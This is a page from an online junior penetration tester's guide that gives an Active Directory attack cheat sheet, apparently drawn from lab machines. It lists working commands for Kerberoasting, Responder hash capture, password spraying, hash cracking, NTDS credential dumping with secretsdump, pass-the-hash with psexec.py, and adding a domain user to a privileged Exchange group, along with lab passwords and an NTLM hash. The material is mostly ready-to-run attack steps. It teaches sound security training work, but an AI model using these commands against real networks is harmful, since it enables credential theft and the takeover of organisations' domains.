> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/active-directory-windows.md). # Active Directory / Windows ### Using Impacket to generate a TGS from an Admin SPN They have a script in the /examples folder called GetUserSPNs.py that is used to find SPNs that are associated with a given user account. It will output a set of valid TGSs it requested for those SPNs. ``` ./GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request ``` target: domain/username:password -dc-ip: IP address of the domain controller -request: Requests TGS for users and outputs them in JtR/hashcat format ### Encoding with certutil ``` certutil -encode ``` ### AD Pentesting Cheat Sheet | Command | Description | | -------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | | sudo responder -I ens224 -A | Start Responder in analysis mode | | sudo responder -I ens224 -w -d | Start network traffic response spoofing with Responder to gather NTLMv2 password hashes | | kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results | Enumerate valid Active Directory users for password spraying | | hashcat -m 5600 bsmith\_ntlmv2 /usr/share/wordlists/rockyou.txt | Attempt to crack an NTLMv2 password hash gathered with Responder using the Hashcat tool | | crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol | Enumerate the domain password policy using CrackMapExec | | crackmapexec smb 10.129.203.121 -u '' -p '' --users --export $(pwd)/users.txt | Check for SMB NULL sessions on a domain controller host and enumerate valid users | | enum4linux -P 172.16.5.5 | Leverage an SMB NULL session on a domain controller host to verify the domain password policy | | kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid\_users.txt Welcome1 | Perform a password spraying attack using the Kerbrute tool | | Import-Module ActiveDirectory | Load the built-in Active Directory PowerShell module on a Windows host | | Get-ADUser -Filter \* \| select Name | List all domain users using the Active Directory PowerShell module Get-ADUser cmdlet and filter by the username | | Get-DomainUser \* \| Select-Object samaccountname,description | Check the description field of all domain users for sensitive data such as passwords | | GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/mholliday | Kerberoast from a Linux attack host | | bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u bsmith -p Welcome1 | Run the BloodHound Python version from a Linux attack host to map out the domain | | SharpHound.exe -c all --zipfilename inlanefreight\_bloodhound | Run the SharpHound C# ingestor from a Windows attack host to map out the domain | | Invoke-BloodHound -CollectionMethod all -ZipFileName ilfreight\_bloodhound | Run the SharpHound PowerShell ingestor from a Windows attack host to map out the domain | | Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap | Kerberoast admin accounts using the Rubeus tool from a Windows attack host | | secretsdump.py -outputfile inlanefreight\_hashes -just-dc INLANEFREIGHT/adunn\@172.16.5.5 -use-vss | Dump the NTDS Active Directory database to retrieve NTLM password hashes for all domain users for offline cracking | ### Transferring files with Access to Windows through evil-winrm ``` upload ``` ``` download ``` ### Logging in with evil-winrm ``` evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23 ``` ### Pass the hash ``` psexec.py egotistical-bank.local/administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e ``` 1. **egotistical-bank.local/administrator**: This part represents the username and domain (or machine name) you want to authenticate as on the target machine. In this case, you are trying to authenticate as the `administrator` user in the `egotistical-bank.local` domain. 2. **@10.10.10.175**: This specifies the IP address or hostname of the target Windows machine you want to connect to. In this example, it's `10.10.10.175`. 3. **-hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e**: This part of the command specifies the LM (LanManager) and NTLM (New Technology LAN Manager) hashes of the user's password. These hashes can be used for authentication instead of providing the plaintext password. In this case, you've provided the LM and NTLM hashes as `aad3b435b51404eeaad3b435b51404ee` and `823452073d75b9d1cf70ebdf86c7f98e`, respectively. * The LM hash is less secure and considered weak. NTLM hash is more secure. * Hashes are typically obtained using tools like Mimikatz or by cracking captured hashes. Overall, this command is attempting to use the `psexec.py` script to authenticate as the `administrator` user in the `egotistical-bank.local` domain on the target machine with the IP address `10.10.10.175`. It's using LM and NTLM hashes for authentication instead of a plaintext password. Once authenticated, you could potentially execute commands on the remote Windows machine with the privileges of the `administrator` user. ### Creating a new user on a domain ``` net user ddrt password /add /domain ``` 1. `net user`: This is the base command used for managing user accounts in Windows. 2. `ddrt`: This is the username you want to create. Replace "ddrt" with the actual username you want to add. 3. `password`: This is where you would specify the password for the user account. Replace "password" with the desired password for the user. 4. `/add`: This flag is used to instruct the `net user` command to add a new user account. In this case, you are adding a user with the username "ddrt." 5. `/domain`: This flag is used to specify that you want to add the user account to a domain. If you are working in a domain environment, you would use this flag to create a domain user. If you are not in a domain environment, you can omit this flag. ### Adding a user to another group ``` net group "Exchange Windows Permissions" /add ddrt ``` 1. `net group`: This is the base command used for managing groups in Windows AD. 2. `"Exchange Windows Permissions"`: This is the name of the group you want to modify. The group name is enclosed in double quotes because it contains spaces. In this case, you are targeting the "Exchange Windows Permissions" group. 3. `/add`: This flag is used to instruct the `net group` command to add a user to the specified group. You want to add the user "ddrt" to the "Exchange Windows Permissions" group. 4. ddrt: This is the username you want to add to the group. Replace "ddrt" with the actual username you want to add. ###